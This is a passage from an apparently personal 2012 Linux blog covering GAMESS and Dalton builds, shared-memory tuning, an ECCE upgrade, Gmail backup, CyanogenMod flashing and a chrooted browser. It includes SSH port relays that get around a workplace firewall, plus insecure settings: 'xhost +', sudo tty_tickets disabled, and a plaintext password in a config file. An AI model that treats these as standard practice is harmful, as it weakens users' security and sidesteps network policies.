 474       set MATHLIBS=' '
 475       breaksw

3. Link
./lked gamess 12r2 >&  lked.log

You now have gamess.12r1.x which uses ATLAS, and gamess.12r2.x which uses openblas.

To run:
The rungms file was a bit too 'clever' for me, so I boiled it down to a file called gmrun which made executable (chmod +X gmrun) and put in /opt/gamess:

#!/bin/csh
set TARGET=mpi
set SCR=$HOME/scratch
set USERSCR=/scratch
set GMSPATH=/opt/gamess
set JOB=$1
set VERNO=$2
set NCPUS=$3

if ( $JOB:r.inp == $JOB ) set JOB=$JOB:r
echo "Copying input file $JOB.inp to your run's scratch directory..."
cp $JOB.inp $SCR/$JOB.F05

setenv TRAJECT $USERSCR/$JOB.trj
setenv RESTART $USERSCR/$JOB.rst
setenv INPUT $SCR/$JOB.F05
setenv PUNCH $USERSCR/$JOB.dat
if ( -e $TRAJECT ) rm $TRAJECT
if ( -e  $PUNCH ) rm $PUNCH
if ( -e  $RESTART ) rm $RESTART
source $GMSPATH/gms-files.csh

setenv LD_LIBRARY_PATH /opt/openmpi/1.6/lib:$LD_LIBRARY_PATH
set path= ( /opt/openmpi/1.6/bin $path )
/opt/openmpi/1.6/bin/mpiexec -n $NCPUS $GMSPATH/gamess.$VERNO.x|tee $JOB.out
cp $PUNCH .

Note that I actually do have two scratch directories -- one ~/scratch and one in /scratch. Note that the SCR directory should be local to the node as well as spacious, while USERSCR can be a networked,smaller directory.

Finally do
echo 'export PATH=$PATH:/opt/gamess' >> ~/.bashrc

Anyway.
Navigate to your tests/standard folder where there's a lot of exam*.inp files and do

gmrun exam12 12r1 4

where exam01 (or exam01.inp) is the name of the input file, 12r1 is the version number (that you set above) and 4 is the number of processors/threads .
 
          ---------------------
          ELECTROSTATIC MOMENTS
          ---------------------

 POINT   1           X           Y           Z (BOHR)    CHARGE
                 0.000000   -0.000000    0.000000       -0.00 (A.U.)
         DX          DY          DZ         /D/  (DEBYE)
    -0.000000    0.000000   -0.000000    0.000000
 ...... END OF PROPERTY EVALUATION ......
 CPU     0: STEP CPU TIME=     0.02 TOTAL CPU TIME=        2.2 (    0.0 MIN)
 TOTAL WALL CLOCK TIME=        2.3 SECONDS, CPU UTILIZATION IS  97.78%
  $VIB   
          IVIB=   0 IATOM=   0 ICOORD=   0 E=      -76.5841347569
 -6.175208802E-40-6.175208802E-40-4.411868660E-07 6.175208802E-40 6.175208802E-40
  4.411868660E-07-1.441225933E-40-1.441225933E-40 1.672333111E-06 1.441225933E-40
  1.441225933E-40-1.672333111E-06
 -4.053383177E-34 4.053383177E-34-2.257541709E-15
 ......END OF GEOMETRY SEARCH......
 CPU     0: STEP CPU TIME=     0.00 TOTAL CPU TIME=        2.2 (    0.0 MIN)
 TOTAL WALL CLOCK TIME=        2.3 SECONDS, CPU UTILIZATION IS  97.35%
               990473  WORDS OF DYNAMIC MEMORY USED
 EXECUTION OF GAMESS TERMINATED NORMALLY Fri Sep 21 14:27:17 2012
 DDI: 263624 bytes (0.3 MB / 0 MWords) used by master data server.

 ----------------------------------------
 CPU timing information for all processes
 ========================================
 0: 2.160 + 0.44 = 2.204
 1: 2.220 + 0.20 = 2.240
 2: 2.212 + 0.32 = 2.244
 3: 4.240 + 0.04 = 4.244
 4: 4.260 + 0.00 = 4.260
 5: 4.256 + 0.08 = 4.264
 ----------------------------------------


Done!


Looking at another test case (acetate w/ cosmo) I get the following scaling on a single node as a function of processors:


shmmax issue:
Anyone who has been using nwchem will be familiar with this
 INPUT CARD> $END                                                                           
 DDI Process 0: shmget returned an error.
 Error EINVAL: Attempting to create 160525768 bytes of shared memory.
 Check system limits on the size of SysV shared memory segments.

 The file ~/gamess/ddi/readme.ddi contains information on how to display
 the current SystemV memory settings, and how to increase their sizes.
 Increasing the setting requires the root password, and usually a sytem reboot.

 DDI Process 0: error code 911

The fix is the same. First do

cat /proc/sys/kernel/shmmax

and look at the value. Then set it to the desired value according to this post: http://verahill.blogspot.com.au/2012/04/solution-to-nwchem-shmmax-too-small.html
e.g.
sudo sysctl -w kernel.shmmax=6269961216

gfortran version issue:
Even though you likely have version 4.7.x of gfortran, pick 4.6 or you will get:

Please type 'gfortran -dumpversion' or else 'gfortran -v' to
detect the version number of your gfortran.
This reply should be a string with at least two decimal points,
such as 4.1.2 or 4.6.1, or maybe even 4.4.2-12.
The reply may be labeled as a 'gcc' version,
but it is really your gfortran version.
Please enter only the first decimal place, such as 4.1 or 4.6:  
4.7

The gfortran version number is not recognized.
It should only have one decimal place, such as 4.x

The reason is this (code from config):
      switch ($GMS_GFORTRAN_VERNO)
         case 4.1:
         case 4.2:
         case 4.3:
         case 4.4:
         case 4.5:
            echo "   Alas, your version of gfortran does not support REAL*16,"
            echo "   so relativistic integrals cannot use quadruple precision."
            echo "   Other than this, everything will work properly."
            breaksw
         case 4.6:
            echo "   Good, the newest gfortran can compile REAL*16 data type."
            breaksw
         default:
            echo "The gfortran version number is not recognized."
            echo "It should only have one decimal place, such as 4.x"
            exit 4
            breaksw
      endsw

267. ECCE client connecting to remote site via reverse port/local port forwarding

The situation I'm about describe is quite specific, yet I don't think it's that unusual.

A. I've got a computer at work which is behind a firewall so that I can't connect directly to it from the outside. This will be referred to as Work.

B. I've got a laptop at home which is connected to a wireless  router. This will be referred to as Home.

C. The router is a Linksys/tomato router, which is accessible from the outside (myrouter.com). This will be referred to as Router.

I'd like to connect from home to my ecce server at work so that I can monitor and submit jobs.

At Work:
ssh -R 19997:localhost:8096 root@myrouter.com

At Home:
ssh -L 5555:localhost:19997 root@myrouter.com

We're basically tying together port 5555 at Home with port 8096 at Work, via an intermediary server.

At Home, edit your ecce/apps/siteconfig/Dataservers and change the relevant lines to

<eccedata>
  <ecceserver>
    <url>http://localhost:5555/Ecce</url>
    <desc>ECCE Data Server--remote</desc>
  </ecceserver>

  <basisset>http://localhost:5555/Ecce/system/GaussianBasisSetLibrary</basisset>
</eccedata>

Note that submission actually happens from your ecce client, not your server (i.e. from Home, not Work), so to get your submission scripts in order you may have to do a bit of fiddling. E.g. if you ecce server is also the queue master for an SGE batch system:

Work:
ssh -R 19999:localhost:22 root@myrouter.com

Home:
ssh -L 5454:localhost:19999 root@myrouter.com

Home:
Edit /apps/siteconfig/remote_shells.site and add
ssh_p5454: ssh -XC -p 5454|scp -P 5454|xterm

But you can read more about that here: http://verahill.blogspot.com.au/2012/05/port-redirection-with-eccenwchem.html

25 October 2012

266. Back-up your gmail using getmail on debian testing/wheezy

Since I'm thinking about moving universities the issue of backing up my work email (which is hosted by gmail) account is weighing at the back of my mind.

I'm just following this post: https://wiki.archlinux.org/index.php/Backup_Gmail_with_getmail

This post is duplicating most of what's done there (I like the Arch tutes -- well written and thorough) so this is more of a 'yes, I followed it and it works' kind of posts.

Don't forget that gmail has an imap bandwidth limit of ca 2.5 GB per day: https://support.google.com/a/bin/answer.py?hl=en&answer=1071518

First install getmail4. You can probably ignore bug =#633799 (I'm assuming that you use apt-listbugs and receive the warning below -- if not, you probably shouldn't be using testing...)

sudo apt-get install getmail4
#633799 - getmail causes irrecoverable mail corruption when using mbox
mkdir ~/.getmail touch ~/.getmail/getmailrc chmod og-rwx ~/.getmail/getmailrc mkdir /media/backups/workmail cd /media/backups/workmail mkdir cur new tmp

If you don't make the last three folders getmail will complain.
Edit your ~/.getmail/getmailrc
[retriever] type = SimpleIMAPSSLRetriever server = imap.gmail.com mailboxes = ("[Gmail]/All Mail",) username = firstname.lastname@mycompany.com password = myPassword [destination] type = Maildir path = /media/backups/workmail/ [options] verbose = 2 message_log = ~/.getmail/log # retrieve only new messages # if set to true it will re-download ALL messages every time! #read_all = false # do not alter messages delivered_to = false received = false
Note that you may have a folder called [Google Mail/All Mail] instead

More options here: http://pyropus.ca/software/getmail/configuration.html

Next run getmail

NOTE: if you interrrupt (by e.g. ctrl+c) and then resume by running getmail again you'll download all emails again. If you let it run to completion, everything will work properly, however, and in the future it will only download new emails. 

getmail
msg 1/5053 (5621 bytes) msgid 648042553/1 from someone@somewhere delivered to Maildir /media/backups/workmail/ [..] msg 772/5053 (10839 bytes) from someone@somewhere delivered to Maildir /media/backups/workmail/ msg 773/5053 (4377 bytes) from someone@somewhere delivered to Maildir /media/backups/workmail [..] 5053 messages (783074371 bytes) retrieved, 0 skipped Summary: Retrieved 5053 messages (783074371 bytes) from SimpleIMAPSSLRetriever:firstname.lastname@mycompany.com@imap.gmail.com:993
If that all worked ok, edit your crontab and make it run e.g. once per day:

crontab -e
00 23 * * * getmail -q
Since I have a private gmail account as well I created a file called privatemailrc and use it with
getmail -r ~/.getmail/privatemailrc -q

I also created folders /media/backups/privatemail/cur, /media/backups/privatemail/tmp and /media/backups/privatemail/new and point to those in my privatemailrc file.

24 October 2012

265. shmmax revisited -- and shmall, shmmni

I've upgraded two of my nodes -- my old 4 core node with 8 GB ram now has 4x4=16 GB RAM, while my old 8 core, 16 GB ram now has 4*8=32 GB ram.

When using nwchem you eventually will run into an shmmax problem:


******************* ARMCI INFO ************************
The application attempted to allocate a shared memory segment of 44498944 bytes in size. This might be in addition to segments that were allocated succesfully previously. The current system configuration does not allow enough shared memory to be allocated to the application.

This is most often caused by:
1) system parameter SHMMAX (largest shared memory segment) being too small or
2) insufficient swap space.
Please ask your system administrator to verify if SHMMAX matches the amount of memory needed by your application and the system has sufficient amount of swap space. Most UNIX systems can be easily reconfigured to allow larger shared memory segments,
see http://www.emsl.pnl.gov/docs/global/support.html
In some cases, the problem might be caused by insufficient swap space.
*******************************************************
0:allocate: failed to create shared region : -1
(rank:0 hostname:boron pid:17222):ARMCI DASSERT fail. shmem.c:armci_allocate():1082 cond:0

I haven't gotten that in a while since I increased shmmax to 6572498432, but running a frequency calculation on a large molecule with unrestricted DFT triggered it again on my 32 GB node. So I hit google. These posts were informative:
http://www.pythian.com/news/245/the-mysterious-world-of-shmmax-and-shmall/
http://padmavyuha.blogspot.com.au/2010/12/configuring-shmmax-and-shmall-for.html
http://yuji.wordpress.com/2011/11/03/what-is-shmmax-shmall-shmmni-shared-memory-max/


me@neon:~$  cat /proc/sys/kernel/shmall
2097152
me@neon:~$ cat /proc/sys/kernel/shmni
4096
me@neon:~$ cat /proc/sys/kernel/shmmax
6572498432

That works out to (4096 bytes/page*2097152)*(1/(1024*1024*1024) bytes per gigabyte) pages=8.192 GB. And they are the same on all my nodes in spite of the memory available varying.

Another way of looking at it:
ipcs -lm

------ Shared Memory Limits --------
max number of segments = 4096
max seg size (kbytes) = 6418455
max total shared memory (kbytes) = 8388608
min seg size (bytes) = 1


Your shmmall is the number of pages total, the shmmni is the page size and the shmmax is the largest contigouos chunk of RAM available.

 So if I get things right, and parroting what's said on the pages above, your shmmall should approach but not exceed your total physical memory, you shmni is better left alone, and your shmmax can be anywhere up to your total RAM.

The links above cite Oracle recommendations which state that (for 32 bit system) it should be 4 GB - 1 byte OR half your RAM, whichever is smaller. I'll show that case here, but will be testing using 80% of my RAM for my calcs.

 So for my boxes:

32 GB RAM => shmmax=16GB, shmmall=(32-2 GB)/4095, shmni=4096
sudo sysctl -w kernel.shmmax=17179869184
sudo sysctl -w kernel.shmall=7340032
ipcs -lm

------ Shared Memory Limits -------- max number of segments = 4096 max seg size (kbytes) = 16777216 max total shared memory (kbytes) = 29360128 min seg size (bytes) = 1
16 GB RAM => shmmax=8GB, shmmall=(16-2 GB)/4096, shmni=4096
sudo sysctl -w kernel.shmmax=8589934592
sudo sysctl -w kernel.shmall=3670016


If you're happy with those values, make them permanent by editing your sysctl.conf and adding the relevant lines:
kernel.shmmax=17179869184
kernel.shmall=7340032


So here are the formulae (assuming that you set shmmax to half your ram and leave 2 gb out of shmall):
shmmax=RAM (bytes)/2
shmni=4096
shmmall=(RAM(bytes)-2147483648)/shmni

23 October 2012

264. Upgrade to ECCE 6.4 on Debian Testing

There's little reason to upgrade from 6.3 to 6.4 since
Other than open source availability and bundling the latest NWChem 6.1.1, the ECCE 6.4 release is otherwise equivalent to the 6.3 release.  
But it's always nice with some new and shiny.

For general instructions on how to install ecce from scratch, see e.g. http://verahill.blogspot.com.au/2012/06/ecce-in-virtual-machine-step-by-step.html

Upgrading
Go here to download the latest release. You will be asked to supply your name, email address and the name of your institution. However, you no longer need to register.

Download the file install_ecce.v6.4.rhel5-gcc4.1.2-m64.csh (full binary + builder). And yes, you can use wget for that.
Stop the ecce server if it's running:
 ~/.ecce/ecce-6.3e/server/ecce-admin/stop_ecce_server 

Make your ecce install file executable and run it:
chmod +x install_ecce.v6.4.rhel5-gcc4.1.2-m64.csh
./install_ecce.v6.4.rhel5-gcc4.1.2-m64.csh

which launches the installation:
Extracting ECCE distribution from ./install_ecce.v6.4.rhel5-gcc4.1.2-m64.csh...

Main ECCE installation menu
===========================
1) Help on main menu options
2) Prerequisite software check
3) Full install
4) Full upgrade
5) Application software install
6) Application software upgrade
7) Server install
8) Server upgrade

IMPORTANT: If you are uncertain about any aspect of installing
or running ECCE at your site, please refer to the detailed
ECCE Installation and Administration Guide at 
http://ecce.pnl.gov/docs/installation/2864B-Installation.pdf

Hit  at prompts to accept the default value in brackets.

Selection: [1] 4
Host name: [beryllium] 
New application installation directory: [/home/me/tmp/ecce-v6.4/apps] /home/me/.ecce/ecce-v6.4/apps
Existing application directory to upgrade: /home/me/.ecce/ecce-v6.3e/apps

Backup existing server user data (yes/no)? [yes]

ECCE v6.4 will be installed using the settings:

  Installation type: [full upgrade]
  Host name: [beryllium]
  Application installation directory: [/home/me/.ecce/ecce-v6.4/apps]
  Application directory to upgrade: [/home/me/.ecce/ecce-6.3e/apps]
  Server installation directory: [/home/me/.ecce/ecce-v6.4/server]
  Server directory to upgrade: [/home/me/.ecce/ecce-6.3e/server]
  Backup existing server user data: [yes]

Are these choices correct (yes/no/quit)? [yes] 
Installing ECCE application software in /home/me/.ecce/ecce-v6.4/apps...
  Extracting application distribution...
  Extracting NWChem binary distribution...
  Extracting NWChem common distribution...
  Extracting client WebHelp distribution...
  Configuring application software...
  Configuring NWChem...

Installing ECCE server in /home/me/.ecce/ecce-v6.4/server...
  Extracting data server in /home/me/.ecce/ecce-v6.4/server/httpd...
  Extracting data libraries in /home/me/.ecce/ecce-v6.4/server/data...
  Extracting Java Messaging Server in /home/me/.ecce/ecce-v6.4/server/activemq...
  Configuring ECCE server...
  Copying user data from server to be upgraded...
  Copying share data from server to be upgraded...

ECCE installation succeeded.

***************************************************************
!! You MUST perform the following steps in order to use ECCE !!
-- Unless only the user 'me' will be running ECCE,
   start the ECCE server as 'me' with:
     /home/me/.ecce/ecce-v6.4/server/ecce-admin/start_ecce_server

-- To register machines to run computational codes, please see
   the installation and compute resource registration manuals
   at http://ecce.pnl.gov/using/installguide.shtml

-- Before running ECCE each user must source an environment
   setup script.  For csh/tcsh users add this to ~/.cshrc:
     if ( -e /home/me/.ecce/ecce-v6.4/apps/scripts/runtime_setup ) then
       source /home/me/.ecce/ecce-v6.4/apps/scripts/runtime_setup
     endif
   For sh/bash users, add this to ~/.profile or ~/.bashrc:
     if [ -e /home/me/.ecce/ecce-v6.4/apps/scripts/runtime_setup.sh ]; then
       . /home/me/.ecce/ecce-v6.4/apps/scripts/runtime_setup.sh
     fi
***************************************************************

And then
/home/me/.ecce/ecce-v6.4/server/ecce-admin/start_ecce_server
/home/me/.ecce/ecce-v6.4/server/httpd/bin/apachectl start: httpd started
[1] 25382
INFO  BrokerService         
- ActiveMQ 5.1.0 JMS Message Broker (localhost) is starting
INFO  BrokerService      
- ActiveMQ JMS Message Broker (localhost, ID:beryllium-46481-1350964505499-0:0) started

Put the following in your ~/.bashrc

export ECCE_HOME=/home/me/.ecce/ecce-v6.4/apps
export PATH=${ECCE_HOME}/scripts:${ECCE_HOME}/scripts/parsers:${PATH}$

And run:
source ~/.bashrc
ecce

22 October 2012

263. Cyanogen mod on Nexus One

Note that you need an unlocked and rooted Nexus One for this. I did this in the past and can barely remember how I did it. So don't ask me. Also, I'm using linux for this, so asking me about OS X or Windows would be doubly unwelcome.

Besides, I'm just following orders: http://wiki.cyanogenmod.com/wiki/Nexus_One:_Full_Update_Guide

0. Back up everything. Root and unlock your Nexus One.
I used Titanium Backup and SMS Backup and Restore to back things up, just in case. Then I connected my phone to my computer and copied everything. I unlocked the boot loader and rooted my phone quite a while ago and so can't remember how it's best done.

Looking at the traces in my system I used bexboot.v2.GRK39F_OTA and I don't remember that it was difficult. Just be aware that everything on your phone WILL BE WIPED. So back stuff up.

cd ~/tmp
wget http://bexboot.googlecode.com/files/bexboot.v2.GRK39F_OTA.zip
unzip bexboot.v2.GRK39F_OTA.zip
cd bexboot.v2.GRK39F_OTA/
chmod +x fastboot-linux

1. Download stuff

1a. Download the cyanogen mod image:
wget http://download.cyanogenmod.com/get/jenkins/2857/cm-7.2.0-passion.zip
md5sum cm-7.2.0-passion.zip 
0d37cc25fd42b0ad00f87c9e009b7a9c cm-7.2.0-passion.zip
1b. Get the Amon Ra recovery image:
wget http://cmw.22aaf3.com/passion/recovery/recovery-RA-passion-v2.2.1-CM.img 
md5sum recovery-RA-passion-v2.2.1-CM.img 
e8262ae23943ce50fd346001812fae79 recovery-RA-passion-v2.2.1-CM.img
1c. Then get the google apps:
wget http://cmw.22aaf3.com/gapps/gapps-gb-20110828-signed.zip
md5sum gapps-gb-20110828-signed.zip
1647897d8ac3efb04723d2ad2c361a3f gapps-gb-20110828-signed.zip

This is a good time to move the gapps-gb-20110828-signed.zip and cm-7.2.0-passion.zip files to the root of your SD card.

2. Edit your /etc/udev/rules.d/51-android.rules
 I changed mine from

SUBSYSTEM=="usb", ATTR{idVendor}=="18d1", MODE="0666", GROUP="plugdev"
to

SUBSYSTEM=="usb", ATTR{idVendor}=="0bb4", MODE="0666", GROUP="plugdev"

since

Bus 001 Device 020: ID 0bb4:0fff HTC (High Tech Computer Corp.) Android Fastboot Bootloader

and did

sudo chmod a+rx /etc/udev/rules.d/51-android.rules
sudo service udev restart

3. Flash
Get Turn off your phone and plug in the usb cable. Hold down the scroll ball and, while holding it down, turn on your phone. Don't select anything. Instead, on your computer:
./fastboot-linux devices
HT015P801117 fastboot
So far so good!

./fastboot-linux flash recovery recovery-RA-passion-v2.2.1-CM.img 
sending 'recovery' (3380 KB)... OKAY
writing 'recovery'... OKAY
On your phone, select "bootloader" then "recovery", which starts the Android System Recovery  -- look at the bottom of the screen though, where it'll say "Build: RA-passion-v2.2.1"

Scroll (painfully -- it's really unresponsive so don't freak out) using the scroll ball on your phone to "Wipe", then push down the track ball to select it. Then select "Wipe ALL data/factory reset".

You'll then get asked:
Wipe ALL userdata
Press Trackball to confirm.
any other key to abort.
Confirm. You'll get the following messages:
Formatting DATA:...
Formatting SDCARD:.android_secure...
Formatting CACHE:...
Skipping format of /sd-ext.
Userdata wipe complete!
Now press Vol-Down to return to the previous menu, where you select "Flash zip from sdcard". You're now asked whether to choose zip from sdcard or to toggle signature verification. Choose "zip", and select "cm-7.2.0-passion.zip", which will launch the installation.

Once that's done, select "choose zip from sdcard" again and this time pick your gapps-gb-20110828-signed.zip. Once that's installed, hit Vol-Down to go up one level in the menu and select Reboot. You're now done.

In case of trouble:
My system complained here that the gapps file was 'bad', so I went up one menu level and rebooted. Without google apps life is less fun, but I didn't have an SD card reader at hand. Once my (flashy new) system was up I mounted the SD card via USB, and checked the md5sum, which was bad. I put a new copy of the file on the sd card, checked the md5sum (now good), and powered off the phone.
I then powered it on by holding down the trackball while pushing the power button, running "./fastboot-linux flash recovery recovery-RA-passion-v2.2.1-CM.img" on my computer, selecting bootload/recovery, then "flash zip from sdcard", "choose zip from sdcard", selecting "gapps-gb-20110828-signed.zip", and THIS TIME it went fine! Then just hit Vol-Down, select "Reboot system now" and you're done!

All in all, it took a while to prepare everything, but it wasn't as difficult or scary as one would be lead to believe.

The verdict:
I actually don't use my phone much these days, so I can't really tell how 'different' the cyanogen mod really is from my previous android install. But it looks a little bit different, and I seem to have a lot more control over the details, which is nice.

20 October 2012

262. chroot/jail your iceweasel (firefox)

Update: in my youth I thought that chroot=security. I now know better.
http://yarchive.net/comp/linux/chroot.html
http://pen-testing.sans.org/blog/2012/06/06/escaping-restricted-linux-shells

In other words, don't rely on chroot for security -- it's not meant to be a security tool. I personally use it to browse at work without leaving a too obvious a trail (nothing shady -- part of my job is to apply for permanent jobs, but it is not necessarily in the interest of my current employer to see me succeed. Academia is a weird place.)

Original post:
There are many reasons why you'd want to secure your browser -- ranging from paranoia to justifiable cautiousness (you're probably visiting the wrong kind of sites...).

A chroot environment doesn't make you anonymous -- it just helps sandbox your applications. To protect your anonymity you'll want to prevent your browser from setting cookies, and use a proxy via an ssh tunnel to encrypt your traffic and hide your true IP address. There's no silver bullet for these things.

I've chroot:d things in the past when compiling 32 bit applications on 64 bit machines, but for this guide I'm leaning heavily on this post: https://help.ubuntu.com/community/BasicChroot

sudo apt-get install coreutils debootstrap

Time to get rocking. Be aware that you should have a bit of free space on your target drive.


sudo debootstrap --arch amd64 wheezy /media/chroot/ http://ftp.au.debian.org/debian/

which gets stuff underway:


I: Retrieving InRelease
I: Checking Release signature
I: Valid Release signature (key id 9FED2BCBDCD29CDF762678CBAED4B06F473041FA)
I: Retrieving Packages
I: Validating Packages
I: Resolving dependencies of required packages...
I: Resolving dependencies of base packages...
I: Checking component main on http://ftp.au.debian.org/debian...
I: Retrieving libacl1
I: Validating libacl1
I: Retrieving apt
[..]
I: Configuring dpkg-dev...
I: Configuring build-essential...
I: Base system installed successfully.

So far, so good.

Create a shell script, e.g. chroot.sh, with the following in it:
xhost +
sudo mount -o bind /proc /media/chroot/proc
sudo cp /etc/resolv.conf /media/chroot/etc/resolv.conf
sudo chroot /media/chroot

Run it everytime you want to enter you chroot environment:
sh chroot.sh

In the chroot shell, do
apt-get install locales sudo vim
echo 'export LC_ALL="C"'>>/etc/bash.bashrc
echo 'export LANG="C"'>>/etc/bash.bashrc
echo 'DISPLAY=:0.0' >> /etc/bash.bashrc
source /etc/bash.bashrc
adduser sandbox
usermod -g sudo sandbox
echo 'Defaults !tty_tickets' >> /etc/sudoers
apt-get install iceweasel
su sandbox
cd ~

Launch iceweasel/firefox:

sandbox@beryllium:/$ firefox


And you're pretty much done.
Next time you want to launch a sandboxed version of firefox just do:

me@beryllium:~$ sh chroot.sh 
access control disabled, clients can connect from any host
root@beryllium:/# su sandbox
sandbox@beryllium:/$ firefox

261. Disable tracker-miner-fs

Looking at my ~/.local/share/tracker folder I've got 1.5 Gb wasting away. Also, tracker has a way of eating up CPU cycles,. Given that I never do any desktop searches -- I use either 'locate' or 'find' in the terminal and they do exactly what I need -- I don't see much point in allowing tracker to run.

1. If you're in a gui you can run tracker-preferences  and disable the indexing of all folders.

2. To delete existing tracker logs you need to do
tracker-control -r

This kills all running tracker processes and removes the databases.

3. Finally, edit /etc/xdg/autostart/tracker-miner-fs.desktop and tracker-store.desktop and change

X-GNOME-Autostart-enabled=true

to

X-GNOME-Autostart-enabled=false

19 October 2012

260. Compiling Dalton 2.0 QM on Debian -- in progress

UPDATE: I've since successfully compiled Dalton 2011 and lsdalton on both debian and CentOS/ROCKS:
http://verahill.blogspot.com.au/2012/11/compiling-lsdalton-on-debian.html
http://verahill.blogspot.com.au/2012/11/compiling-dalton-2011-on-debian.html
http://verahill.blogspot.com.au/2012/11/compiling-dalton-2011-on-rocks-543centos.html

I will revisit this post at a later date.

NOTE:  This is an update of an old post in which the compilation of Dalton was described, but I couldn't get the finished binary to run. Seems the main problem was that I don't know how to use dalton properly. I've got enough data now to show that dalton is working in serial mode though.

1. Sign up for a license.

2. Once you get approved you'll get an email with a link, a username and a password.
Download the cam-enabled package.

3.
cd ~/tmp
mv ~/Download/dalton-2.0-ca.tar.gz .
tar xvf dalton-2.0-cam.tar.gz
cd dalton-2.0-cam/
sudo mkdir /opt/dalton
sudo chown $USER:$USER /opt/dalton
mkdir /opt/dalton/basis
mkdir /opt/dalton/bin

Also, you may want to compile the netlib blas and lapack, and set them up. See here: http://verahill.blogspot.com.au/2012/09/compiling-netlibs-lapack-and-blas-on.html

Once you're done with that, start running configure:
./configure
------------------------------------------------------------------
   Configuring the DALTON Makefile.config and "dalton" run script
------------------------------------------------------------------

No architecture specified, attempting auto-configuration:
This appears to be a -linux architecture. Is this correct?  [y/n] y

-->Installing DALTON on a -linux computer

Do you want to install the program in a parallel MPI version? [y/n] y

-->WARNING: Makefiles for MPI architecture are difficult to guess
   Please compare the generated Makefile.config with local documentation.

   Checking for Fortran compiler ...
   from this list: mpif90 mpif77 ifort ifc efc pgf77 gfortran g77 

Compiler mpif90 found, use this compiler? [y/n] y

-->Compiler mpif90 found and accepted.

   Checking for C compiler ...
   from this list: mpicc  icc ecc pgcc gcc 

Compiler mpicc found, use this compiler? [y/n] y

-->Compiler mpicc found and accepted.

Testing existence of libraries in this order:
 libacml.a libmkl.so libmkl_p3.a libatlas.a libblas.a
Directory search list for libraries:
  /opt/gaussian/g03/ATLAS/compiled/lib /opt/gaussian/g03/ATLAS/build/lib /opt/ATLAS/lib /home/me/tmp/ATLAS/build/lib /lib /usr/local/lib /usr/lib /usr/local/lib/ATLAS /lib64 /usr/lib64 /usr/local/lib64 

Found /opt/gaussian/g03/ATLAS/compiled/lib/libatlas.a, use it ? [y/n] n
Found /opt/gaussian/g03/ATLAS/build/lib/libatlas.a, use it ? [y/n] n
Found /opt/ATLAS/lib/libatlas.a, use it ? [y/n] y

-->The following mathematical library(ies) will be used:
   -L/opt/ATLAS/lib -llapack -lf77blas -latlas

Does your file system allow files bigger than 2 Gb? [y/n] y

DALTON uses almost 7 million *8 words (56 Megabytes) of static
allocations, in addition to the dynamic allocation.

DALTON has the possibility to reserve an amount of static memory
for storing two-electron integrals in direct and parallel calculations
Storing some or all of the 2-el. integrals in memory will speed up
direct and parallel calculations (and in particular the latter).
NOTE: This will increase the static memory allocation used by DALTON

Would you like to activate the possibility of storing 2-el.int. in memory? [y/n] y
How many millions of *8 words to use for storing 2-el.integrals? 1000

-->Program will be installed with 1000000000 words used for storing 2-el.integrals

Maximum amount of work memory for dynamic allocations can be
changed at run time with the environment variable WRKMEM
or by using the -M option to the run script: "dalton -M mb ...".
We recommend at least 20 million *8 words work memory,
larger for correlated calculations, but it should for maximum
efficiency NOT exceed available physical memory.

How many millions of *8 words to use as default for work memory? 1000

-->Program will be installed with a default work memory of 1000000000 words

-->Current directory is /home/me/tmp/dalton-2.0-cam

Use ./bin as installation directory for binaries and scripts? [y/n] n
Please enter another installation directory: /opt/dalton/bin

-->DALTON executable and script will be placed in /opt/dalton/bin directory


-->Default basis set directory will be /home/me/tmp/dalton-2.0-cam/basis/


Use this directory as default basis set directory? [y/n] n

Please choose another default basis set directory (must end with /) /opt/dalton/basis/

-->Default basis set directory will be /opt/dalton/basis/


-->Job specific directories under $SCRATCH/$USER
-->will be used for temporary files when running DALTON

Use SCRATCH=/work as default root scratch space in "dalton" run script? [y/n] n
Please enter default root scratch directory: /scratch

-->Creating Makefile.config ...
Backup: renaming Makefile.config to Makefile.config.0
Is backend compiler gfortran ? [y/n] y
gfortran version 471 prc=x86_64
Proper 64-bit file access detected.

-->Creating the DALTON run-script in /opt/dalton/bin

   The configuration of DALTON has finished succesfully.
   Check compiler flags etc. in Makefile.config and run "make" to get executable.


So far so good. Ignore the math libs above.

The Makefile.config looks like this now:

ARCH        = linux
#
#
CPPFLAGS      = -DVAR_GFORTRAN -DSYS_LINUX -DVAR_MFDS -D'INSTALL_WRKMEM=1000000000' -D'INSTALL_MMWORK=1000000000' -D_FILE_OFFSET_BITS=64 -DVAR_MPI -DGFORTRAN=471 -DIMPLICIT_NONE -DINSTALL_BASDIR='"/opt/dalton/basis/"'
F77           = mpif90
CC            = mpicc
LOADER        = mpif90
RM            = rm -f
FFLAGS        = -march=native -O1 -ffast-math -funroll-loops -ftree-vectorize -fno-range-check -fno-whole-file
SAFEFFLAGS    = -march=native -O1 -ffast-math -funroll-loops -ftree-vectorize -fno-range-check -fno-whole-file
CFLAGS        = -march=native -O1 -ffast-math -funroll-loops -ftree-vectorize -std=c99 -DRESTRICT=restrict -DFUNDERSCORE=1
INCLUDES      = -I../include 
LIBS          = -L/opt/ATLAS/lib -llapack -llapack -lf77blas -latlas
INSTALLDIR    = /opt/dalton/bin
PDPACK_EXTRAS = linpack.o eispack.o gp_zlapack.o
GP_EXTRAS     = 
AR            = ar
ARFLAGS       = rvs
# flags for ftnchek on Dalton /hjaaj
CHEKFLAGS  = -nopure -nopretty -nocommon -nousage -noarray -notruncation -quiet  -noargumants -arguments=number  -usage=var-unitialized
# -usage=var-unitialized:arg-const-modified:arg-alias
# -usage=var-unitialized:var-set-unused:arg-unused:arg-const-modified:arg-alias
#
default : linuxparallel.x
SAFE2_FFLAGS = $(FFLAGS)
#
# Parallel initialization
#
MPI_INCLUDE_DIR = 
MPI_LIB_PATH    = 
MPI_LIB         = 
#
#
# Suffix rules
# hjaaj Oct 04: .g is a "cheat" suffix, for debugging.
#               'make x.g' will create x.o from x.F or x.c with -g debug flag set.
#
.SUFFIXES : .F .c .o .i .g .s

.F.o:
        $(F77) $(INCLUDES) $(CPPFLAGS) $(FFLAGS) -c $*.F 

.F.i:
        $(F77) $(INCLUDES) $(CPPFLAGS) -E $*.F > $*.i

.F.g:
        $(F77) $(INCLUDES) $(CPPFLAGS) $(FFLAGS) -g -c $*.F 

.F.s:
        $(F77) $(INCLUDES) $(CPPFLAGS) $(FFLAGS) -S -g -c $*.F 

.c.o:
        $(CC) $(INCLUDES) $(CPPFLAGS) $(CFLAGS) -c $*.c 

.c.i:
        $(CC) $(INCLUDES) $(CPPFLAGS) $(CFLAGS) -E $*.c > $.i

.c.g:
        $(CC) $(INCLUDES) $(CPPFLAGS) $(CFLAGS) -g -c $*.c 

.c.s:
